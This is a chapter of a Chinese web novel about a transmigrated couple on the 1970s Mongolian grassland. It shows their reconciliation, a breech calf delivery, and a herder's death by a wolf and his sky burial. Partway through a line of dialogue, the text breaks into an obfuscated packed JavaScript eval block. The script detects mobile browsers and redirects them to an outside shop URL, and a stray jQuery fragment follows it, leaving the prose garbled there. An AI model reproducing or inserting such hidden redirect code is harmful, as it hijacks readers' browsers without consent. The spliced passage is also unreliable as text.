23. 第23章

作品:《七零娇儿媳手撕草原狼

    许玲玲欢喜地拍她肩膀,“孺子可教。”


    以宋若音的行动力,家里再添新成员指日可待。


    送走许玲玲,宋若音折身挨着程方穆坐下,她刚吃了大白兔奶糖,身上带着很明显的奶味。


    程方穆放在腿上的手指微屈,目不斜视地盯着脚尖,倏地,一张细嫩的小脸蛋闯入视线,圆乎乎的杏仁眼忽闪忽闪,挺秀的小琼鼻嗅了嗅,问他:“洗澡了?”


    程方穆点头。


    宋若音坐回去,往后一躺,望着包顶的木格,可见三两颗闪烁的星辰,想起在末世,她也和程方穆看过星星。


    那个时候,他就是这样,看着铮铮铁汉子,却最需要保护。


    但不能说他懦弱,关键时刻从未掉过链子,他们是过命的交情,睡一张床,宋若音没觉得有任何不妥,主动地往里面挪了挪。


    程方穆从善如流地躺到她身边,从头到脚打得笔直,像死硬了。


    如果不是提前解开了领口的扣子,换谁不觉得他紧张。


    领口微微敞开,露出线条明显的喉结,以及若隐若现的胸、、肌,生活在草原,他的肤色不白,呈古铜色,男人味十足。


    “离婚吧。”宋若音冷不丁开口。


    程方穆的天轰地就塌了,再没心思吸腹凹腹肌,一个翻身压到宋若音身上,怕弄疼她,他两只手撑在她脑侧,身体悬空,只有膝盖擦过她的衣服。


    宋若音若无其事,一脸平静地看着他。


    程方穆看着身下的她,心底的恶魔疯狂乱撞,恨不得冲出来将她彻底占为己有,程方穆眼眶通红,“为什么离婚?”


    宋若音回答:“我不是原来的那个宋若音。”


    程方穆脱口而出,“我也不是。”


    宋若音很轻地笑了,“承认了?”


    程方穆怔愣了一秒后,“被你发现了?”


    宋若音点头,随即伸出手,“程方穆,好久不见。”


    程方穆失笑地握住她的手,“我以为我藏得很好。”


    包里的羊油灯并不亮,笼罩在宋若音身上,反射出一道道暖黄的柔光,让程方穆看入了神,一时忘了从她身上下来。


    或者说,他根本不想下来。


    宋若音伸出手指头,点他的衣服催他。


    指尖若有若无地碰到他的胸膛,程方穆像是被烫出了一个窟窿,他红着脸躺回炕上。


    宋若音侧头看着他,突生恶趣味地想要逗他,一个倾身而上,程方穆两只手抓紧床单。


    宋若音直勾勾地盯他数秒后,拉过被褥盖到她和程方穆身上,伸手在他寸头上揉了一把:“睡觉!”


    “还离婚吗?”要是离婚,别说睡觉,程方穆得死不瞑目。


    宋若音意识已经开始迷糊,嘟囔回了句不离了,程方穆悬着的心这才平稳落地,听到宋若音熟睡的呼吸声,他小心翼翼地转过身子面向她,心心念念了十二年的女孩就在咫尺。


    羊油灯熄灭,包里一片漆黑,程方穆躺回宋若音身侧,用力亲吻他握过她手的手,一遍一遍地喊她的名字。


    *


    自从阿古拉下了狗崽,许玲玲和宋若音除了放牧和下夜,在三小只身上花的时间最多,每天早中晚至少跑三趟,守在狗窝门口观察狗崽的成长。


    二二出生后第七天睁开的眼睛,是三姐弟里面最早的一个,弟弟三三不甘落后,翌日一早也睁眼了,现在就剩大大这个姐姐。


    宋若音将大大抱出狗窝,坐到地上,狗崽放自己皮袍上,大大躺得四仰八叉,仔细看,它的嘴角微微扬起,似乎很享受。


    “到底咋回事啊?这都多少天了,就大大还没睁眼。”许玲玲着急地伸手戳大大的脑袋。


    大大很不高兴,张牙舞爪,冲着许玲玲哼唧哼唧乱叫,奶凶的样子,让人哭笑不得。


    “要不俺帮一把?”许玲玲手快,薅过大大,摁到自己腿上去掰它的眼皮。


    宋若音没养过狗,也觉得不妥,正要阻止,程方穆先一步将大大从许玲玲手里拯救出来,还给宋若音。


    小狗崽受了惊吓,蜷缩在宋若音手心瑟瑟发抖,嘴里发出可怜的低呜。


    宋若音心有所动,眼神柔软不少,摸着它的小脑袋,在宋若音的安抚下,大大渐渐地平静下来,毛茸茸的小脑袋蹭着她的手。


    看到眼前这一幕,程方穆有些后悔了,要是他是一条狗就好了。


    许玲玲预判道:“程同志,信不信音音当了妈,一定会非常合格的。”


    程方穆一想到可以和媳妇生娃,既心怀期待又万分纠结,一只狗崽已经抢走媳妇太多精力,再来几个娃……媳妇还能有心思在他身上吗?


    “程同志,你咋又脸红了?”许玲玲打趣,“想啥东西呢?说来俺听听。”


    程方穆轻咳一声,语气严厉地转移话题,“许同志,你方才的做法太要不得了,知不知道?”


    许玲玲不知道,“怎么要不得了?俺也是为大大好,它一直不睁眼,有个啥病咋整?早发现早治疗呗。”


    “这才多少天,半个月大才睁眼的狗崽多得是,这种事得顺其自然,你强行掰开它的眼睛,只会伤到它的眼膜,高原的阳光多刺眼。”程方穆教育道。


    许玲玲无话可说,蒙古高原紫外线多强,土生土长的草原人都受不了,更不要说才来到世上的小狗崽,“对不起,程医生,俺知道错了,绝对没有下次了。”


    程方穆起身回了小包,离开前,看了眼宋若音,那眼神比小米奶粥还黏糊。


    许玲玲起了一身鸡皮疙瘩,搓着手臂,压低声音问宋若音:“昨晚战况咋样?”


    宋若音抬起头,回想一番回答:“很好。”


    心里的秘密都说开了,以后她和程方穆也能更好相处了。


    许玲玲激动,挤眉弄眼靠过去,“展开说说。”


    “先是他压我,”宋若音总结,“后来我压他,势均力敌。”


    许玲玲大笑地鼓掌,“好一个势均力敌。”


    “疼吗?”许玲玲好奇又问。


    宋若音眨眨眼睛,不明所以。


    许玲玲凑去她耳边,越说越激动,越说越脸红,宋若音总算搞清楚,她俩说的根本不是一件事。


    “夫妻都要那样吗?”宋若音确认地问。


    许玲玲反应过来,惊呼道:“搞半天,你们还没那个?”


    宋若音没说什么,许玲玲上下打量她,“音音,你是不是不行啊?”


    宋若音挺挺胸脯,斩钉截铁,“我当然行。”


    不服输的劲儿,特别有趣,逗得许玲玲哈哈大笑,不经意瞥到趴在宋若音腿上的大大,惊得跳起来:“大大睁开眼睛啦!”


    宋若音架起大大的前肢,将它抱起来,盯着它的眼睛,“跟二二三三不一样。”


    许玲玲凑过去,“真的不一样,这眼睛俺好像在哪见过……想起来了,那条狼狗眼睛就长这样,不是吧,阿古拉,你咋跟它好上了?不打不相识,欢喜冤家!啧啧,你俩会玩得很嘛。”


    宋若音摸着大大的小脑袋,没想到机缘巧合下真让她养到了一只狼狗,看来长天生还是很照顾她的嘛。


    第二天,宋若音找程方穆钻了圈草丛,许玲玲说的没错,一开始确实很疼,休战一个小时,缓过来就舒服多了。


    让宋若音惊讶的是,一身正气的程方穆居然还有另外一面,比草原狼还要凶。


    亲密过后,两人相拥而眠,从早上睡到半下午,后来苏日娜骑马来寻他们,说家里的母牛难产,请程方穆走一趟。


    程方穆回包带上医药箱,和宋若音同骑一匹马奔向了乌仁图娅的蒙古包。


    一路上,程方穆没说话,宋若音又话少,她被圈在他怀里,耳边是呼啸的春风,和他强有力的心跳声。


    宋若音抬头看他,男人线条分明的脸部轮廓,因为紧张愈发的硬朗流畅,不得不再次感叹:程同志真是一名心系病患的好医生。


    到了乌仁图娅家,苏日娜领程方穆去牛棚,程方穆牵上宋若音,她的手腕又细又软,就像风中摇曳的柳枝,他不敢使太大力。


    开始后悔,在圈草丛里对她太野蛮了,也不知道有没有吓到她。


    下次一定要温柔,程方穆暗暗发誓。


    牛棚里三层外三层围满了人,苏日娜一声喊程方穆来了,人群主动地让出一条道,万众瞩目下,程方穆牵着宋若音走进牛棚。


    老乡们用蒙古语从程方穆摆谈到宋若音,最后莫名地跳到哈达身上:


    “病急了,真是什么医生都敢找,程方穆不是医人的吗?苏日娜怎么把他请来了?”


    “发现得晚,母牛都快憋死了,没那么多时间去场部找兽医,死马当活马医总比不医得好。”


    “那是萨仁家儿媳妇吧?我也就一阵子没见到,怎么变化这么大?骑马套黄羊,掏狼崽,这些都不说了,居然能手撕大狼!就这技能,别说哈达,放眼阿拉善也找不出第二个。”


    “听说哈达两天没回来了?到底干嘛去了?乌仁图娅跑了好几趟知青点也没截到人。”


    “不会还堵着气,到山里掏狼崽去了吧?不省心的家伙,都多大年纪了,还让他额吉操心。”


    “跟谁赌气?王知青吗?我听说王知青和哈达闹掰后,天天跟人嚼舌根说哈达没用,连汉人小姑娘都不如。”


    ……


    宋若音来草原时间久,虽然不会说蒙古语,但大多还是能听懂,就说今天人这么多,原来不光来看母牛难产的。


    乌仁图娅这两天忙着找哈达,没太关注母牛,万万没想到会提前发作,也不知道到底疼了多久,连站的力气都没有了。


    乌仁图娅心疼又愧疚地摸着母牛的脑袋,母牛侧卧在地上的干草上,眼睛噙满了泪水,腹部抽痛不止,它抖个不停。


    程方穆将医药箱放到地上,快速地给母牛做了检查,牛本身生产条件就不如其他畜禽,它们的骨盆轴大多比较弯曲,不利于胎儿通过,一旦发生难产,极其造成牛犊死亡,严重危及母牛性命。


    好在这头母牛不是初次生产,胎儿大小也属正常范围,之所以迟迟不能生产,多半因为母牛运动量不足。


    自留畜禽通常不会随群放牧,以家养为主,才会导致母牛运动量不足,辅助分娩肌肉得不到很好锻炼,再上发作时间过长,母牛力不从心,最终引发难产现象。


    程方穆将前因后果跟乌仁图娅一说,围观群众顿时对他有所改观,虽然听不太懂,但好像很有道理的样子。


    场部兽医也经常下来帮畜群治病接生,不过医生们从不跟他们解释这么多,以致看完全程也云里雾里。


    “现在怎么办?”自留畜禽朝夕相处了好几年,乌仁图娅早把母牛当家人了。


    “它不够力气,就需要外力搭把手了。”程方穆让苏日娜打盆温水,自己从药箱里拿出胶皮手套。


    温水和胶皮手套,宋若音眨了眨眼睛,这个流程,她熟,立马将手伸过去。


    并未做此打算的程方穆,看到宋若音如此积极,自然不会拒绝她一片好意,从善如流地仔细帮她的手清晰干净。


    程方穆叮嘱她:“这次跟阿古拉难产不一样,伸进去后,不急着拉出来,先摸清牛犊的情况。”


    众人:“???”伸哪里去?


    没来得及问,就看到宋若音一脸平静地将手伸进了母牛的屁、、股里面。


    “啧?这是狼崽掏上瘾了,牛屁股又不是狼洞,哪有这么好弄。”


    “到底谁是医生,怎么让宋若音把手伸进去了?”


    “头一回出诊就犯错,程方穆以后就别想干这行了。”


    所有人都紧张兮兮地伸着脖子张望,这要成了,以后他们的畜群就有指望了,再也不用费劲去请兽医了。


    程方穆利用排出的羊水,在母牛的腹壁上不断按摩,“这样可以帮助母牛子宫颈开张和松软。”


    乌仁图娅依葫芦画瓢,无实物地搓揉起来,其他牧民也跟着学起来。


    宋若音手上灵活,很快摸到小牛犊,面有疑惑地看向程方穆,“是尾巴。”


    程方穆早有所料地点头,“果然是倒生胎儿。”


    乌仁图娅急问:“什么倒生胎儿?是脑袋在上边?”


    在场牧民这一听,纷纷倒吸两口凉气,牧场每年都会碰到这种情况,不光崽子生不下来,大的也可能保不住。


    一尸两命,亏损大了。


    大伙开始同情乌仁图娅一家,自留畜禽废的心思最多了。


    “不是说,母牛没力气,其他没问题吗?怎么又倒生脑袋了?”乌仁图娅语无伦次。


    程方穆安抚她:“不急,倒生胎儿,问题也不大,我们有法子的。”


    乌仁图娅持怀疑态度,倒生胎儿,场部兽医都拿不准,程方穆才转过来医畜群,可以说毫无经验。


    但,事已至此,也别无选择,乌仁图娅只能拜托他和宋若音。


    宋若音不一样,她百分之百信任程方穆,完全听从他的安排,先将牛犊推回母牛腹腔,校正其后肢后慢慢往外拉。


    宋若音力道控制得很好,牛犊的后肢被拉出骨盆。


    “蹄子!快看是牛犊蹄子!”有人兴奋地喊。


    程方穆一眼扫过去,那人连忙抱歉地捂住嘴,其他牧民也不再敢干扰宋若音。


    等后肢全部拉出来后,宋若音手上加大力度,一鼓作气将其前半身拽出来,以此避免牛犊发生窒息。


    牛犊水灵灵地滑到干草上,程方穆用剪刀剪断脐带,牛犊在众人期待的目光下,颤颤巍巍地站起来,走向自己的妈妈。


    已经乏力到不能动的母牛,在看到小牛犊的那一刻,转动脖子望向程方穆和宋若音,仿佛在感谢他们。


    母子平安,在场牧民老乡悬着的心终于落下,欢呼着摘下帽子高高抛起,所有人都在夸赞程方穆和宋若音。


    “没想到程方穆比场部兽医还厉害!倒生胎儿都能接下来,畜群其他病痛,肯定不在话下。”


    “宋若音手法也好,要换我,不得把牛犊拉劈叉了!”


    “男女搭配,干活不累,小两口感情得多深才能这么有默契。”


    其他夸赞,程方穆不在意,一听到夸他和媳妇感情好,嘴角压不住,余光瞥向宋若音,安安静静地蹲着看小牛犊吃奶,程方穆注意到她偷偷地咽口水。


    媳妇好可爱。


    苏日娜重新倒了一盆温水,程方穆帮宋若音摘掉手套,并仔细地又洗了一遍手,宋若音说:“谢谢。”


    “不用客气,这是我应该做的。”程方穆摩挲着洗干净的手套,带着媳妇的体温,好温暖。


    苏日娜羡慕小两口感情的同时,多少有些不自在,她不应该在这里,应该在包里,轻咳一声,不好意思地插一句:“辛苦你们,进去吃点奶豆腐吧。”


    宋若音最喜欢苏日娜做的奶豆腐,便恭敬不如从命走在最前面,进了包,乌仁图娅没过会儿也进来了,围观群众没热闹陆续离开,包外恢复往常宁静,只得偶尔听到小牛犊的哞哞声。


    乌仁图娅再三谢过程方穆搭救之恩,并付以一块钱的出诊费,程方穆一开始没想收,乌仁图娅劝道:“第一次出诊,图个好兆头,必须要收,第一次就免费,一旦传开,以后就不好开口了。”


    程方穆解释:“欧沃答应给场部申请,说不定每个月能拿工资。”


    “你自个也说,说不定,谁知道能不能申请下来,”乌仁图娅将一块钱塞到程方穆手里,开玩笑地板起脸,“是不是嫌弃伯母给的钱少了?”


    “没有的事。”程方穆连忙否认。


    “没有就收好了,”乌仁图娅看向宋若音,目光比以往柔和不少,“你俩也老大不小了,是时候考虑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13774494|144680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要孩子了。”


    程方穆也看向宋若音,宋若音美滋滋地喝着奶茶吃着奶豆腐。


    “养孩子费钱,你们总不能全靠萨仁吧,她这些年过得也不容易。”乌仁图娅说。


    “我知道,”程方穆表情真挚,“一定好好孝顺额吉。”


    萨仁不管是学业还是工作,都顺当让多少阿拉善女人羡慕,乌仁图娅也是其一。


    唯一让她觉得自己略胜萨仁一筹的就是家庭,萨仁丈夫走得早,没跟她留下一儿半女,只有一个半大的汉人养子。


    汉人养子和她感情不深,这是大伙有目共睹的,不像她,丈夫在身边,还有两个儿子,孙子也能跑山跑了,家庭美满幸福,萨仁嘴上不说,心里一定很羡慕,乌仁图娅一直这么认为。


    直到宋若音被一场白毛风吹醒脑袋,不光性情大变,生活积极起来,跟萨仁的关系有所好转,现在养子回来了,受宋若音影响,对萨仁也开始上心了。


    萨仁终于不再像以前那样,对小两口热脸贴冷屁股,乌仁图娅替萨仁高兴,同时也心急,她那不争气的小儿子何时才能长大。


    “乌仁图娅,快出来,出事了,出大事了!”包外传来赛罕焦急万分的呼唤。


    乌仁图娅心里咯噔一下,隐约预感是小儿子出事了,她急忙起身,脚下却是一软,险些摔回去。


    程方穆和宋若音眼疾手快,同时伸手扶住她的手臂,一人一边搀着她出蒙古包。


    围观群众去而复返,甚至比刚才多了一圈,团团围在包前的空地上,乌仁图娅三人进到最里面,看到躺在牛车上的哈达,浑身是血,一条手臂活少了半截,露出森白的骨头。


    乌仁图娅接受不了,直接晕了过去。


    “额吉!”


    “乌仁图娅!”


    四周响起惊呼声,好在程方穆和宋若音离得近,再次将人扶住了,程方穆掐乌仁图娅的人中,乌仁图娅缓缓转醒,目光回到牛车上,老泪纵横地捂住胸口,哭得呼天抢地。


    人群里当妈的最看不得这些,跟着抹起了眼泪,有人问赛罕:“到底咋回事?好好一个人怎么糟蹋成这样了?”


    赛罕一脸难色,从牛车上搬下来一只麻布袋,打开,同样一片血污,是一只死相特别惨的大狼,肚皮被马蹄生生踢开,肠子流出一半。


    看得所有人倒吸一口凉气,也更让疑惑战斗如此凶残,一人一狼到底结了多大的仇。


    宋若音认出大狼就是上次在黑英山被熏走的那只母狼。


    “指定是哈达掏狼崽的时候,就被母狼盯上了,母狼护崽,不是说来玩的。”


    “都过去多久了,母狼这个时候才找上门,怕不是还有其他事吧。”


    “草原狼多聪明,比人多多聪明,它们最擅长伏击战,也是最有耐心的,没有十足的把握绝不出手。”


    “哈达因为王知青总喝酒,这才给母狼钻了空子,母狼一旦出手,不拼个你死我活绝不会罢休。”


    “看这样子,多半是哈达喝醉了,骑马回包路上遭了母狼的偷袭,母狼为把哈达从马背上拽下来,不惜用全身力量咬住马匹,这才会被踢爆肚子。”


    那血腥场景光是想想都瘆得慌,引得不少牧民唏嘘感叹霍勒嘿(可怜啊)。


    有可怜哈达的,也有可怜乌仁图娅的,甚至可怜丧子母狼的,这就是草原的生存法则,残忍,而真实。


    宋若音觉得谁也没有错,大家都是为了活下去。


    非要追究,还是那句老话,喝酒误事,但凡哈达没有醉酒,母狼也不会轻易得手。


    所有人安慰乌仁图娅逝者已逝,节哀顺变。


    在看到母狼尸身前,乌仁图娅几乎崩溃,现在反倒出奇的平静,作为母亲,她理解母狼。


    她也劝过哈达,完成场部任务就行,不要对狼崽赶尽杀绝,偏偏被奖励蒙了心,才会酿制今日祸端。


    乌仁图娅和苏日娜将哈达的尸体抬进蒙古包,老乡们还想围进去,被赛罕拦在外面,宋若音和程方穆烧了两锅热水,乌仁图娅才把哈达身上的血渍清洗干净。


    傲木嘎得到消息,亲自跑了一趟马群,将哈达的父亲领回来,已经是第二天晌午时分,萨仁一家帮忙,许玲玲和宋若音在包外准备牛车,她们在牛车的车辕头上横绑一根长木。


    包里有不少人,却一点声没有,许玲玲止不住张望,小声地宋若音说:“上回见巴图尔大叔还是前年过春节,头发白了好多噢。”


    也不知道是太久没见,还是丧子之痛,一夜白发。


    “巴图尔大叔一直话少,没想到话这么少,俺就没听他说过一个字。”许玲玲叹气,“换俺也不晓得说啥,这几年哈达因为喝酒误了多少事,一家子天天给他收拾烂摊子,这回好了,小命都搭进去了,萨仁老师都给他说了,让他提防母狼寻仇,他咋就听不进去……”


    “好了,不要再说了,事情都发生了,逝者为大。”哈达再不济,也是乌仁图娅和巴图尔的亲出,为他付出了多少心血,现在走了,活着的人最痛苦。


    许玲玲随即转移话题,“晚上的天葬多半是傲木嘎欧沃和巴图尔大叔去了。”


    草原规矩,牧民过世,由家里两位长辈送行。


    草原天葬和藏族天葬不一样,前者喂狼,后者喂神鹰,所以藏族天葬上山,而草原人死后都是送往更加远离游牧迁场的古道。


    黑英山东北面就有一处天葬场,外人看来,和普通草场并无区别,除了草皮更茂盛一些。


    实则大有不同,几十年如一日没住过人家,也没进过一只牲畜吃草,却极少见到老鼠洞和兔子洞,还有旱獭洞,因为那里有狼守护。


    这也是老牧民不支持灭绝草原狼最重要的原因之一,没有了狼,他们所有人的灵魂都将无法升上长生天,永不安宁。


    原主却对死后的萨仁一张草席打发,太不应该了。


    晚饭后,一家子围坐商议,最后决定由傲木嘎和萨仁送哈达上路,以及宋若音。


    宋若音没想到乌仁图娅竟然提出让她同行,要知道,外人去过禁地,打扰到神灵,死者的灵魂就有可能升不了长生天。


    一方面在乌仁图娅心里,宋若音不再是外人,另一方面哈达生前一直纠缠宋若音,死后,宋若音如果能送他最后一程,说不定就能化了心中执念。


    宋若音对草原天葬神圣的仪式本就充满好奇,自然不会排斥,到当天夜里虎时,巴图尔将裹有哈达尸体的毡子搬上牛车,再用麻绳紧紧捆住,傲木嘎和萨仁一人各持横木一端,和宋若音一起骑上马,将牛车运往天葬场。


    凌晨三点的草原,伸手不见五指,宋若音拿着手电,骑马走在最前面,三人一路无语,抵达天葬场,黑英山里传来狼嚎,仿佛在死去的母狼送行。


    天葬场地势不平,傲木嘎和萨仁快马加鞭,再行了一段路程后,毡子从牛车上滚了下来,就是哈达最后的归宿了。


    宋若音听到动静,停下来,傲木嘎和萨仁已经下马,傲木嘎解开毡子,和萨仁将哈达搬到草地上,两人双手举过头顶,对着哈达的尸体念念有词,是一种仪式,也是最后的告别。


    宋若音看着仰面躺在草地上的哈达,一身清爽,面容安详,仿佛睡着了一般,等的不是骨肉遭到啃食,而是灵魂即将接受洗礼。


    再看向傲木嘎和萨仁,两人脸上的表情出奇的一致,毫无悲伤之意,充满了尊崇和虔诚。


    对于他们来说,死后天葬,才能洗净人生几十年身上的罪孽,他们草原人一生杀戮太多了。


    “但愿狼群不会嫌弃。”傲木嘎希望孙子可以解脱干净,更希望每个草原人都能受草原狼照拂。


    神圣之地,不宜久留,三人骑马拉着牛车离开,宋若音不住回头张望,心中所受震撼和对萨仁的愧疚,难以言表,也让她愈发敬佩这片神秘而古老的土地,以及生活在这里的每个人。